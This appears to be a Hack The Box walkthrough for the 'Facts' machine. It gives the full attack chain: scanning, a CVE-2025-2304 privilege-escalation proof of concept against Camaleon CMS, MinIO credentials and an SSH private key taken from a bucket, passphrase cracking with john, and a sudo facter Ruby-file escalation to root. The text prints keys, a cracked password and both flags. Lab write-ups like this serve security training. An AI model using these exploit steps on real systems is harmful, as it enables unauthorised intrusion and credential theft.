Flags
User
26cea0da2c3d6b66f8aef41fc9ac3f3d
Root
ead755a9ccf9d47829e2723f90d86a87
Notes
First, let’s start with a scan
rustscan --ulimit 5000 --addresses "10.129.7.136" --top -- -sC -sV
From the results, we can see that we have 3 TCP ports open
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4dd7b28cd4df579ca42fdfc6e3012989 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
| 256 a3ad6b2f4abf6f48ac81b9453fdefb87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open http syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open unknown syn-ack ttl 62
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 188FEF5976FA9E23
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sat, 31 Jan 2026 21:52:26 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>188FEF5976FA9E23</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId><
/Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Sat, 31 Jan 2026 21:52:26 GMT
|_ Content-Length: 0
We have a SSH server, a web server, and an unknown service running as well
Attempting to visit the website, we learn that the IP is binded to a domain
We can add that into the /etc/hosts
10.129.7.136 facts.htb
We can now visit the site freely
I will go ahead and also run gobuster to find anything
gobuster dir -w `fzf-wordlists` -u http://facts.htb
Got some interesting results
[Jan 31, 2026 - 13:58:01 (PST)] exegol-htb-season /workspace # gobuster dir -w `fzf-wordlists` -u http://facts.htb
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://facts.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 11113]
/search (Status: 200) [Size: 19187]
/sitemap (Status: 200) [Size: 3508]
/rss (Status: 200) [Size: 183]
/en (Status: 200) [Size: 11109]
/page (Status: 200) [Size: 19593]
/welcome (Status: 200) [Size: 11966]
/admin (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/post (Status: 200) [Size: 11308]
/ajax (Status: 200) [Size: 0]
/Index (Status: 200) [Size: 11113]
/up (Status: 200) [Size: 73]
/- (Status: 200) [Size: 11098]
/404 (Status: 200) [Size: 4836]
/robots (Status: 200) [Size: 33]
/EN (Status: 200) [Size: 11109]
/400 (Status: 200) [Size: 6685]
/error (Status: 500) [Size: 7918]
/500 (Status: 200) [Size: 7918]
/422 (Status: 200) [Size: 8380]
/captcha (Status: 200) [Size: 5454]
/INDEX (Status: 200) [Size: 11113]
We have access to an admin page, that does use the classic html forms
I went ahead and tried sqlmap against it, but was not able to find anything
One part of this is that this site is using an authenticity_token along with cooklies
However, sqlmap has functions to get around this, so I went ahead and put something together after some more internet research and talking it with ChatGPT
Nothing happening there, I was able to create a test user and get the information that this service is running Camaleon CMS 2.9.0
Going to the user edit function, I noticed that we are assigned an ID
Looking in to the source code, sure enough, the ID is being referenced from an AJAX endpoint
We can still use Burp Suite to send stuff to this AJAX endpoint
I was able to do more research and found a PoC for the vulnerability I was talking about earlier:
I was able to find something:
[Jan 31, 2026 - 15:37:33 (PST)] exegol-htb-season cve-2025-2304-poc # python3 cve-2025-2304.py http://facts.htb -u user -p password
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Pre-Registered User Version
============================================================
[*] Target: http://facts.htb
[*] Username: user
[*] Password: ********
[*] Logging in as user...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: user (ID: 6)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/6/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
I now have more features opened up to me
I also see I am able to upload images, in which my mind went to reverse shells
Looking at the port 54321 again, it looks like MinIO is being ran
However, in all of my wisdom, I totally missed this in the settings tab
There were MinIO credentials… THE WHOLE FUCKING TIME
Anyways, I have the access and secret keys that I can use now
Now, I need to use the minio mc tool, which I can download a copy and install onto my exegol instance
With that downloaded, I am able to establish a connection to the bucket
[Jan 31, 2026 - 21:16:48 (PST)] exegol-htb-season /workspace # ./mc alias set myminio http://facts.htb:54321 AKIAF87454E254C1E078 FBuQH887fyD6aNJSq/rtRO7UkpV+MmItucKxcWrO
Added `myminio` successfully.
[Jan 31, 2026 - 21:19:01 (PST)] exegol-htb-season /workspace # mc ls myminio
zsh: command not found: mc
[Jan 31, 2026 - 21:19:07 (PST)] exegol-htb-season /workspace # ./mc ls myminio
[2025-09-11 05:06:52 PDT] 0B internal/
This worked. Wow… I could have figured this out much earlier on
Looking into the internals, we have some interesting results
[Jan 31, 2026 - 21:26:51 (PST)] exegol-htb-season /workspace # ./mc ls myminio
[2025-09-11 05:06:52 PDT] 0B internal/
[2025-09-11 05:06:52 PDT] 0B randomfacts/
[Jan 31, 2026 - 21:27:40 (PST)] exegol-htb-season /workspace # ./mc ls myminio/internal
[2026-01-08 10:45:13 PST] 220B STANDARD .bash_logout
[2026-01-08 10:45:13 PST] 3.8KiB STANDARD .bashrc
[2026-01-08 10:47:17 PST] 20B STANDARD .lesshst
[2026-01-08 10:47:17 PST] 807B STANDARD .profile
[2026-01-31 21:27:43 PST] 0B .bundle/
[2026-01-31 21:27:43 PST] 0B .cache/
[2026-01-31 21:27:43 PST] 0B .ssh/
We are then able to find some SSH keys. I went ahead and downloaded those
[Jan 31, 2026 - 21:34:04 (PST)] exegol-htb-season /workspace # ./mc cp myminio/internal/.ssh/authorized_keys .
...tb:54321/internal/.ssh/authorized_keys: 82 B / 82 B ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 117 B/s 0s
[Jan 31, 2026 - 21:36:01 (PST)] exegol-htb-season /workspace # ./mc cp myminio/internal/.ssh/id_ed25519 .
...cts.htb:54321/internal/.ssh/id_ed25519: 464 B / 464 B ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 1.27 KiB/s 0s
[Jan 31, 2026 - 21:36:11 (PST)] exegol-htb-season /workspace # ls
authorized_keys cve-2025-2304-poc id_ed25519 mc
Not sure where to go from here since I don’t have a SSH username. I tried internal, but that didn’t seem to work, so I’m going to use Metasploit’s SSH enumeration first to see what’s up
We are given a private SSH key that is in encrypted
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCd+7Oeqa
peNYDfJ+JuELQqAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIPia4S8u1j7Pv7lL
Npvchz7LNtqVyToE9muqrEb+fnQaAAAAoI2OOmnnbWYhaAzfqiI0mhlnWOJqtmuSA4FxxK
XGheTBErIeeZMh88QfekgBX2lqd9Uss2WKaDe7GsOLipTdUBw5jGwJZTujqO3C9j6C9BBj
11aG79x5Kr9O0lPT8vZ8tAvpcEjfPMDTEvk2LjcC48w97bUmTtGwV/sVEPHpT4x1epczlL
rOPp4Sa+J9/9t7fQfsnuyuN12LV7u1ksR3ESo=
-----END OPENSSH PRIVATE KEY-----
So, I will use ssh2john to get the hash so that we can crack it
[Feb 02, 2026 - 14:47:30 (PST)] exegol-htb-season /workspace # ssh2john.py id_ed25519 > ssh_hash.txt
[Feb 02, 2026 - 15:05:24 (PST)] exegol-htb-season /workspace # ls
authorized_keys cve-2025-2304-poc id_ed25519 mc ssh_hash.txt
[Feb 02, 2026 - 15:05:25 (PST)] exegol-htb-season /workspace # cat ssh_hash.txt
id_ed25519:$sshng$6$16$9dfbb39ea9aa5e3580df27e26e10b42a$290$6f70656e7373682d6b65792d7631000000000a6165733235362d6374720000000662637279707400000018000000109dfbb39ea9aa5e3580df27e26e10b42a0000001800000001000000330000000b7373682d6564323535
313900000020f89ae12f2ed63ecfbfb94b369bdc873ecb36da95c93a04f66baaac46fe7e741a000000a08d8e3a69e76d6621680cdfaa22349a196758e26ab66b92038171c4a5c685e4c112b21e799321f3c41f7a48015f696a77d52cb3658a6837bb1ac38b8a94dd501c398c6c09653ba3a8edc2f63e
82f41063d75686efdc792abf4ed253d3f2f67cb40be97048df3cc0d312f9362e3702e3cc3dedb5264ed1b057fb1510f1e94f8c757a973394bace3e9e126be27dffdb7b7d07ec9eecae375d8b57bbb592c477112a$24$130
Now that we have the hash, let’s attempt to crack it
[Feb 02, 2026 - 15:05:27 (PST)] exegol-htb-season /workspace # john --wordlist=`fzf-wordlists` ssh_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])
Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
dragonballz (id_ed25519)
1g 0:00:00:14 DONE (2026-02-02 15:06) 0.06882g/s 229.0p/s 229.0c/s 229.0C/s adriano..cartman
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We were able to get the password! We now have a password… to a user
However, I was able to find this additional vulnerability for the CMS:
So, we can use this to get more information from the system
We can do this by replicating this by using Burp Suite
Sure enough, we were able to get something:
So, we now have two possible users: william and trivia
I was actually able to use this exploit to find trivia’s private SSH key as well, so I’ll use that
The container one maybe for later (?)
Sure enough, that worked
[Feb 02, 2026 - 16:37:38 (PST)] exegol-htb-season /workspace # cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPia4S8u1j7Pv7lLNpvchz7LNtqVyToE9muqrEb+fnQa
[Feb 02, 2026 - 16:37:39 (PST)] exegol-htb-season /workspace # ls
authorized_keys cve-2025-2304-poc id_ed25519 mc
[Feb 02, 2026 - 16:38:26 (PST)] exegol-htb-season /workspace # cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCd+7Oeqa
peNYDfJ+JuELQqAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIPia4S8u1j7Pv7lL
Npvchz7LNtqVyToE9muqrEb+fnQaAAAAoI2OOmnnbWYhaAzfqiI0mhlnWOJqtmuSA4FxxK
XGheTBErIeeZMh88QfekgBX2lqd9Uss2WKaDe7GsOLipTdUBw5jGwJZTujqO3C9j6C9BBj
11aG79x5Kr9O0lPT8vZ8tAvpcEjfPMDTEvk2LjcC48w97bUmTtGwV/sVEPHpT4x1epczlL
rOPp4Sa+J9/9t7fQfsnuyuN12LV7u1ksR3ESo=
-----END OPENSSH PRIVATE KEY-----
[Feb 02, 2026 - 16:39:31 (PST)] exegol-htb-season /workspace # ls
authorized_keys cve-2025-2304-poc id_ed25519 mc
[Feb 02, 2026 - 16:41:11 (PST)] exegol-htb-season /workspace # rm -rf authorized_keys id_ed25519
[Feb 02, 2026 - 16:41:14 (PST)] exegol-htb-season /workspace # ls
cve-2025-2304-poc mc
[Feb 02, 2026 - 16:41:14 (PST)] exegol-htb-season /workspace # nano key
[Feb 02, 2026 - 16:41:18 (PST)] exegol-htb-season /workspace # ssh2john.py key > ssh_hash.txt
[Feb 02, 2026 - 16:41:26 (PST)] exegol-htb-season /workspace # ls
cve-2025-2304-poc key mc ssh_hash.txt
[Feb 02, 2026 - 16:41:26 (PST)] exegol-htb-season /workspace # john --wordlist=`fzf-wordlists` ssh_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])
Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
dragonballz (key)
1g 0:00:00:14 DONE (2026-02-02 16:41) 0.06882g/s 229.0p/s 229.0c/s 229.0C/s adriano..cartman
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
[Feb 02, 2026 - 16:41:54 (PST)] exegol-htb-season /workspace # ls
cve-2025-2304-poc key mc ssh_hash.txt
[Feb 02, 2026 - 16:42:15 (PST)] exegol-htb-season /workspace # chmod 600 key
[Feb 02, 2026 - 16:42:18 (PST)] exegol-htb-season /workspace # ssh -i key trivia@10.129.10.77
Enter passphrase for key 'key':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Feb 3 12:42:33 AM UTC 2026
System load: 0.0
Usage of /: 71.8% of 7.28GB
Memory usage: 17%
Swap usage: 0%
Processes: 222
Users logged in: 1
IPv4 address for eth0: 10.129.10.77
IPv6 address for eth0: dead:beef::250:56ff:feb0:a7ce
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: su
I was able to find the user.txt, which was in william’s folder
trivia@facts:/home/william$ cat user.txt
26cea0da2c3d6b66f8aef41fc9ac3f3d
Alright, now time to priv-esc
Running sudo -l, we do have something we can use
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
We can use a /usr/bin/facter binary. I will now go ahead and research
Sure enough, GTFOBins has an entry on this binary:
So, with that, I go ahead and create a ruby file that will get us a bash instance
trivia@facts:/tmp$ cat > fun.rb << 'EOF'
> exec '/bin/bash'
> EOF
trivia@facts:/tmp$ cat fun.rb `
>
> '
> `
-bash: command substitution: line 3: unexpected EOF while looking for matching `''
exec '/bin/bash'
trivia@facts:/tmp$ cat fun.rb
exec '/bin/bash'
I was able to get root!
I had to use the —custom-dir since environment variables were not allowed
trivia@facts:~$ sudo facter --custom-dir=/tmp/facts x
root@facts:/home/trivia# whoami
root
So, we can read out the root flag
root@facts:/home/trivia# cd /root
root@facts:~# ls
minio-binaries ministack root.txt snap
root@facts:~# cat root.txt
ead755a9ccf9d47829e2723f90d86a87
root@facts:~#